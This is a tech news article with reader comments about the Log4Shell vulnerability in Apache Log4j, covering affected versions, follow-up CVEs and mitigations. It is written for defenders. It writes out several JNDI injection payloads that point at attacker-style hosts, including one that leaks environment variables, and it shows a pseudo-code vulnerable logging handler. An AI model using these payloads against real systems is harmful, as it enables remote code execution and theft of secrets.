BT

Facilitating the spread of knowledge and innovation in professional software development

Contribute

Topics

Choose your language

InfoQ Homepage News Vulnerability Affecting Multiple Log4j Versions Permits RCE Exploit

Vulnerability Affecting Multiple Log4j Versions Permits RCE Exploit

This item in japanese

Lire ce contenu en français

Bookmarks

This is an evolving story, we will continue updating it. Please comment if something needs to be updated.

On December 9th, it was made public on Twitter that a zero-day exploit had been discovered in log4j, a popular Java logging library. All the library’s versions between 2.0 and 2.14.1 included are affected. Log4j 2.15.0 has been released, which no longer has this vulnerability. As pointed out by the POC published on GitHub, when log4j logs an attacker-controlled string value it can result in a Remote Code Execution (RCE). The issue affects log4j-core.

The log4j contributors mobilized to ensure that a fix was available and quickly merged. Log4j 2.15.0 is already available in Maven Central and all users are encouraged to upgrade immediately where possible. Even though the issue was fixed, the team continued the work to further harden the library by disabling the JNDI lookup by default and to disabled message lookups. These changes are available in log4j 2.16.0. As CVE-2021-45105 discovered that Apache Log4j2 versions 2.0-alpha1 through 2.16.0 (excluding 2.12.3) did not protect from uncontrolled recursion from self-referential lookups. This allows an attacker with control over Thread Context Map data to cause a denial of service when a crafted string is interpreted. This issue was fixed in Log4j 2.17.0 and 2.12.3. With all eyes on Log4j, vulnerability CVE-2021-44832(affecting versions 2.0-beta7 through 2.17.0) was discovered on December 29th: an attacker with permission to modify the logging configuration file can construct a malicious configuration using a JDBC Appender with a data source referencing a JNDI URI which can execute remote code.

Where an upgrade is not immediately possible, an alternative mitigation option is to remove the JndiLookup class from the classpath:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

It was initally thought that an alternative workaround would be to start the Java application or server with the log4j2.formatMsgNoLookups system property set to true:

java -Dlog4j2.formatMsgNoLookups=true -jar myapp.jar

this was proven wrong as pointed in CVE-2021-45046​​​​​​

This property is not available in log4j versions below 2.10.0, and for users of these versions who cannot immediately upgrade, two strategies are available: "modify every logging pattern layout to say %m{nolookups} instead of %m in your logging config files," or "substitute a non-vulnerable or empty implementation of the class org.apache.logging.log4j.core.lookup.JndiLookup, in a way that your classloader uses your replacement instead of the vulnerable version of the class."

It was initially reported by Lunasec that servers running on JDKs versions higher than 6u211, 7u201, and 8u191 are not affected by the LDAP RCE attack vector, as the com.sun.jndi.ldap.object.trustURLCodebase is disabled by default, hence JNDI cannot load a remote codebase using LDAP. However, further analysis by the community has revealed that all JDK versions are vulnerable to this kind of attack. Alvaro Muñoz commented on Twitter that the deserialization attacks are still possible with the latest JDK: "The ldap server will return a serialized object which will get deserialized. RCE depends on gadget availability in the classpath though."

However, as reported by Michael Stepankin at Veracode, there are other attack vectors targeting this vulnerability that can result in RCE. Lari Hotari, OSS contributor and senior software engineer at DataStax, has also commented on an earlier version of this news item that even if the original RCE attack via LDAP may be prevented in later JDK versions, it is still possible to use the log4j vulnerability to leak sensitive information, such as environment variables, that could be used in other attacks e.g. ${jndi:ldap://${env:user}.xyz.collab.com/a}. Therefore, immediate mitigation is recommended even if an application is running on a version of the JDK mentioned previously.

The exploit, that will be identified by CVE-2021-44228, and known colloquially at Log4Shell, takes advantage of a flaw in the Java Naming and Directory Interface’s code in the following way:

  1. The user sends data to the server (TCP, HTTP, or any other protocol allowing this)
  2. The server writes in the logs via log4j the data containing the malicious payload in the request: ${jndi:ldap://malicioussite.com/exploit} (malicioussite.com being an attacker-controlled server)
  3. The log4j vulnerability is triggered and the server makes a request to malicioussite.com via JNDI
  4. The response contains a path to a remote Java class file, which will be injected into the server process
  5. The injected payload allows the presumed attacker to execute arbitrary code

Or translated in code:

import org.apache.log4j.Logger;

import java.io.*;
import java.sql.SQLException;
import java.util.*;

public class VulnerableLog4jExampleHandler implements HttpHandler {

  static Logger log = Logger.getLogger(log4jExample.class.getName());

  /**
   * A simple HTTP endpoint that reads the request's User Agent and logs it back.
   * This is basically pseudo-code to explain the vulnerability, and not a full example.
   * @param he HTTP Request Object
   */
  public void handle(HttpExchange he) throws IOException {
    string userAgent = he.getRequestHeader("user-agent");
    
    // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
    // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
    log.info("Request User Agent:" + userAgent);

    String response = "<h1>Hello There, " + userAgent + "!</h1>";
    he.sendResponseHeaders(200, response.length());
    OutputStream os = he.getResponseBody();
    os.write(response.getBytes());
    os.close();
  }
}

Or as depicted by Swiss Government Computer Emergency Response Team:

 

Log4Shell Graphical Representation

 

Given the ubiquity of Java and log4j’s usage and the facility of the exploit, the impact is critical and should be addressed by all users immediately. An increasing number of scans are performed on the web trying to exploit the vulnerability mostly coming from the Tor network. Similar vulnerabilities were exploited in the past concluding into data breaches like the Equifax data breach.

Various scans were conducted on the web; findings among the known affected services are Steam, Apple iCloud, or applications such as Minecraft, whose versions greater than 1.8.8 are affected. Brian Vermeer, senior developer advocate at Snyk, reported on the Snyk blog that Apache Struts 2, Apache Solr, and Apache Druid are all affected. Patching was started among the affected open source projects (for example Paper).

With the popularity of presumably simple libraries like log4j, many cloud services and applications might be impacted, as was the case of the Equifax data breach from 2017, when the repercussions were quite severe. Nevertheless, in the case of CVE-2021-44228, the community has rallied to help spread awareness and provide mitigation plans and also fixes.

Gunnar Morling, open source software engineer at Red Hat, has provided an example of a Maven Enforcer rule to ban any future usage of vulnerable log4j version in a project's source code. Hotari has provided a Log4Shell mitigation tester. Several individuals and organizations have also provided patches, such as Cybereason, although due diligence should be conducted before applying any of these community fixes.

This news item was updated on 12th and 13th December 2021, as more information about the vulnerability was discovered and shared by the community (see the comments below for additional context), and on 14th December 2021 to provide information regarding new hardened release of log4j 2.16.0. Further editing was done on 15th December 2021 to correct the initial assumption that  setting formatMsgNoLookups to true would mitigate the effects of the vulnerability. With the discovery of CVE-2021-45105 further editing was done to point to the new mittigation. Updated on December 30th to incorporate changes related to CVE-2021-44832.

Rate this Article

Adoption
Style

Hello stranger!

You need to Register an InfoQ account or or login to post comments. But there's so much more behind being registered.

Get the most out of the InfoQ experience.

Allowed html: a,b,br,blockquote,i,li,pre,u,ul,p

Community comments

  • A current Java runtime version won’t safe you. Do patch.

    by Lari Hotari,

    Your message is awaiting moderation. Thank you for participating in the discussion.

    It would be good to remove this sentence: "Server’s running on JDKs versions higher than 6u141, 7u131, 8u121 are not affected by the LDAP attack vector,"

    More details in this article: mbechler.github.io/2021/12/10/PSA_Log4Shell_JND...
    "The “Log4Shell” vulnerability has triggered a lot of interest in JNDI Injection exploits. Unfortunately, regarding exploitability there seems to go a bit of misinformation around. TLDR: A current Java runtime version won’t safe you. Do patch."

  • Re: A current Java runtime version won’t safe you. Do patch.

    by Daniel Bryant,

    Your message is awaiting moderation. Thank you for participating in the discussion.

    Many thanks for your comments, Lari -- I've updated the news to reflect the correct JDK versions and also stress the importance of upgrading log4j even if you are running a JDK that is not vulnerable to the LDAP attack vector.

    Best wishes,

    Daniel
    InfoQ News Manager

  • Re: A current Java runtime version won’t safe you. Do patch.

    by Lari Hotari,

    Your message is awaiting moderation. Thank you for participating in the discussion.

    "As reported by Lunasec, servers running on JDKs versions higher than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector, as the com.sun.jndi.ldap.object.trustURLCodebase is disabled by default, hence JNDI cannot load a remote codebase using LDAP. "
    This is simply a false claim in the Lunasec blog post. All JVMs are affected by the LDAP attack vector. com.sun.jndi.ldap.object.trustURLCodebase doesn't prevent the LDAP vector of the Log4J vulnerability.
    For example, the LDAP attack vector can be used on all JVMs with this type of user input: ${jndi:ldap://${env:user}.xyz.collab.com/a} . That could be used to leak environment variables or system properties. It's a feature and not a security bug of the JVM.
    Remove loading of classes is prevented by default after 8u191, but the LDAP attack vector is more than that.
    There are some details in mbechler.github.io/2021/12/10/PSA_Log4Shell_JND... .
    Daniel Woods has a good summary in his tweets: twitter.com/danveloper/status/1469400945666797569 .

  • Re: A current Java runtime version won’t safe you. Do patch.

    by Daniel Bryant,

    Your message is awaiting moderation. Thank you for participating in the discussion.

    Thanks, Lari -- I've made another clarifying edit.

    Best wishes,

    Daniel

  • Re: A current Java runtime version won’t safe you. Do patch.

    by Lari Hotari,

    Your message is awaiting moderation. Thank you for participating in the discussion.

    It seems that it needs more edits.

    This sentence is the problem

    As reported by Lunasec, servers running on JDKs versions higher than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP RCE attack vector, as the com.sun.jndi.ldap.object.trustURLCodebase is disabled by default, hence JNDI cannot load a remote codebase using LDAP.

    That's simply a mistake in the original report. This is one of the point of the blog post PSA: Log4Shell and the current state of JNDI injection , it contains references to other sources with more details (f.e. Exploiting JNDI injections in JDK 1.8.0_191+).

    LDAP deserialization attacks are possible even on latest Java versions. Deserialization is enabled by default. For example, when Tomcat org.apache.naming.factory.BeanFactory class is available, there's a way to do RCE.

    It can be disabled on most recent Java versions. For example with system properties

  • Re: A current Java runtime version won’t safe you. Do patch.

    by Olimpiu Pop,

    Your message is awaiting moderation. Thank you for participating in the discussion.

    In the current form, the article reads:

    "It was initially reported by Lunasec that servers running on JDKs versions higher than 6u211, 7u201, 8u191 are not affected by the LDAP RCE attack vector, as the com.sun.jndi.ldap.object.trustURLCodebase is disabled by default, hence JNDI cannot load a remote codebase using LDAP. However, further analysis by the community has revealed that all JDK versions are vulnerable to this kind of attack. Alvaro Muñoz commented on Twitter the deserialization attacks are still possible with the latest JDK: "The ldap server will return a serialized object which will get deserialized. RCE depends on gadget availability in the classpath though"

    So it is clearly mentioned that the java versions are still affected.

  • Re: A current Java runtime version won’t safe you. Do patch.

    by Daniel Bryant,

    Your message is awaiting moderation. Thank you for participating in the discussion.

    Thanks, Lari -- I updated the news item this morning to address this and a few other comments.

    Please reach out if anything else catches your attention. It's very much a developing story!

    Best wishes,

    Daniel

  • Re: A current Java runtime version won’t safe you. Do patch.

    by Daniel Bryant,

    Your message is awaiting moderation. Thank you for participating in the discussion.

    Hey Olimpiu,

    I just updated the text based on this comment and a couple of other messages (adding the mention of the vulnerability affecting log4j-core).

    Best wishes,

    Daniel

  • Re: A current Java runtime version won’t safe you. Do patch.

    by Lari Hotari,

    Your message is awaiting moderation. Thank you for participating in the discussion.

    this part got trimmed off after I made an edit after publishing:

    It can be disabled on most recent Java versions. For example with system properties

    "-Djdk.serialFilter=!*" "-Djdk.jndi.object.factoriesFilter=!*" "-Dcom.sun.jndi.ldap.object.trustSerialData=false"
    could be used to disable remote object deserialization when using LDAP over JNDI. These settings could break applications depending on the serialization being enabled and using JNDI.

    The javadocs in JDK17 contain more information:


    There's also Java Serialization Filtering documentation and JEPS-290 .

    The controls are featured at least in:

  • Re: A current Java runtime version won’t safe you. Do patch.

    by Lari Hotari,

    Your message is awaiting moderation. Thank you for participating in the discussion.

    ok that's fine. I guess I saw some previous version of the text. I'm sorry about the confusion.

  • Re: A current Java runtime version won’t safe you. Do patch.

    by Olimpiu Pop,

    Your message is awaiting moderation. Thank you for participating in the discussion.

    Thank you, Daniel! Thank you, Lari for everything!

Allowed html: a,b,br,blockquote,i,li,pre,u,ul,p

Allowed html: a,b,br,blockquote,i,li,pre,u,ul,p

BT